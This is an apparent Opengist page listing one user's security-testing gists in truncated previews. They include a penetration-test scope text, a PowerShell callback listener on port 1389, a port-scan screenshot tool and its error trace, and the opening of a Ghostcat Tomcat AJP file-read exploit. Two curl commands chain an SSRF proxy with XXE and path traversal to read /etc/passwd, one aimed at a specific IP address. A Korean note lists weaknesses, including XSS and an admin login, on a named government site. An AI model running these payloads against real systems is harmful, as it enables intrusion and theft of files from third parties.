Všechny gisty

sehoon0519's Avatar

sehoon0519 / gistfile1.txt

0 Lajky
0 Forky
1 Soubory
Naposledy aktivní 1 month ago
1 Trilocor Robotics Ltd. (“Trilocor” herein) invited you to a private assessment to perform a targeted Web Application Penetration Test of Trilocor’s externally facing web applications to identify high-risk security weaknesses, determine the impact to Trilocor, document all findings in a clear and repeatable manner, and provide remediation recommendations.
2 The following types of findings are in-scope for this assessment:
3
4 * Sensitive or personally identifiable information disclosure
5
6 * Cross-Site Scripting (XSS)
7
8 * Remote Code Execution (RCE)
9
10 * Arbitrary file upload
sehoon0519's Avatar

sehoon0519 / pwsh

0 Lajky
0 Forky
1 Soubory
Naposledy aktivní 4 months ago
1 $listener = [System.Net.Sockets.TcpListener]::new([Net.IPAddress]::Any,1389)
2 $listener.Start()
3 Write-Host "[+] Listening on 0.0.0.0:1389"
4 while ($true) {
5 $client = $listener.AcceptTcpClient()
6 $remote = $client.Client.RemoteEndPoint.ToString()
7 $ts = (Get-Date).ToUniversalTime().ToString("s") + "Z"
8 Write-Host "[$ts] Hit from $remote"
9 try {
10 $stream = $client.GetStream()
sehoon0519's Avatar

sehoon0519 / webshot2.py

0 Lajky
0 Forky
1 Soubory
Naposledy aktivní 4 months ago
1 import argparse
2 import asyncio
3 import csv
4 import json
5 import random
6 import re
7 from datetime import datetime
8 from pathlib import Path
9 import xml.etree.ElementTree as ET
10 from typing import List, Tuple, Dict, Optional, Set
sehoon0519's Avatar

sehoon0519 / gist:ec4fc8d236e4478c8ce6c3b5df482c4e

0 Lajky
0 Forky
1 Soubory
Naposledy aktivní 4 months ago
1 (.venv) C:\Users\USER\Desktop\20250922>python webshot.py C:\Users\USER\Desktop\20250922\scan\113.10.2.0.txt
2 C:\Users\USER\Desktop\20250922\webshot.py:225: SyntaxWarning: invalid escape sequence '\_'
3 """
4 Targets: 52 open TCP ports across 8 hosts; Concurrency=6; Timeout=10000ms
5 Traceback (most recent call last):
6 File "C:\Users\USER\Desktop\20250922\webshot.py", line 407, in <module>
7 main()
8 File "C:\Users\USER\Desktop\20250922\webshot.py", line 400, in main
9 asyncio.run(run(input_paths, concurrency=args.concurrency, timeout_ms=args.timeout, base_dir=base_dir))
10 File "C:\Users\USER\AppData\Local\Programs\Python\Python312\Lib\asyncio\runners.py", line 194, in run
sehoon0519's Avatar

sehoon0519 / gist:137889421b8041bd8ab13c176b608e4c

0 Lajky
0 Forky
1 Soubory
Naposledy aktivní 4 months ago
1 curl "http://112.k.l.m:18800/ndap/bypass?proxyUrl=http://proxy2.jst.com:18808/jobconf?jobid=job_1482303181045_0001&conf_file=true&xinclude=true&name=xinclude&value=%3C!DOCTYPE%20foo%20[%3C!ENTITY%20xxe%20SYSTEM%20%22file:///etc/passwd%22%3E]%3E%3Cfoo%3E%26xxe;%3C/foo%3E"
2
3 curl "http://112.164.247.110:18800/ndap/bypass?proxyUrl=http://proxy2.jst.com:19888/jobhistory/logs/localhost:8041/container_1482303181045_0001_01_000001/application_1482303181045_0001/ndap/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
sehoon0519's Avatar

sehoon0519 / ghostcat.py

0 Lajky
0 Forky
1 Soubory
Naposledy aktivní 4 months ago
1 #!/usr/bin/env python
2 #CNVD-2020-10487 Tomcat-Ajp lfi
3 #by ydhcui
4 import struct
5
6 # Some references:
7 # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
8 def pack_string(s):
9 if s is None:
10 return struct.pack(">h", -1)
sehoon0519's Avatar

sehoon0519 / 전기안전 시연 목록

0 Lajky
0 Forky
1 Soubory
Naposledy aktivní 5 months ago
1 대표홈페이지-불충분 권한검증
2 sch_bbs_code=CCC00003&printList%5B%5D=3151620&bbscmtt_seq=
3
4
5 전기안전여기로-불충분 인증절차
6 로그인페이지 admin 계정
7
8
9 전기안전종합정보시스템-XSS
10 https://www.kes.go.kr/web/lay1/bbs/S1T157C159/A/1/list.do
sehoon0519's Avatar

sehoon0519 / gist:fdf50b8dacf44bfda2fad12af715c6e3

0 Lajky
0 Forky
1 Soubory
Naposledy aktivní 5 months ago
1 e28db3
Novější Starší

Vytvořeno pomocí Opengist ⋅ Load: 259ms⋅

Čeština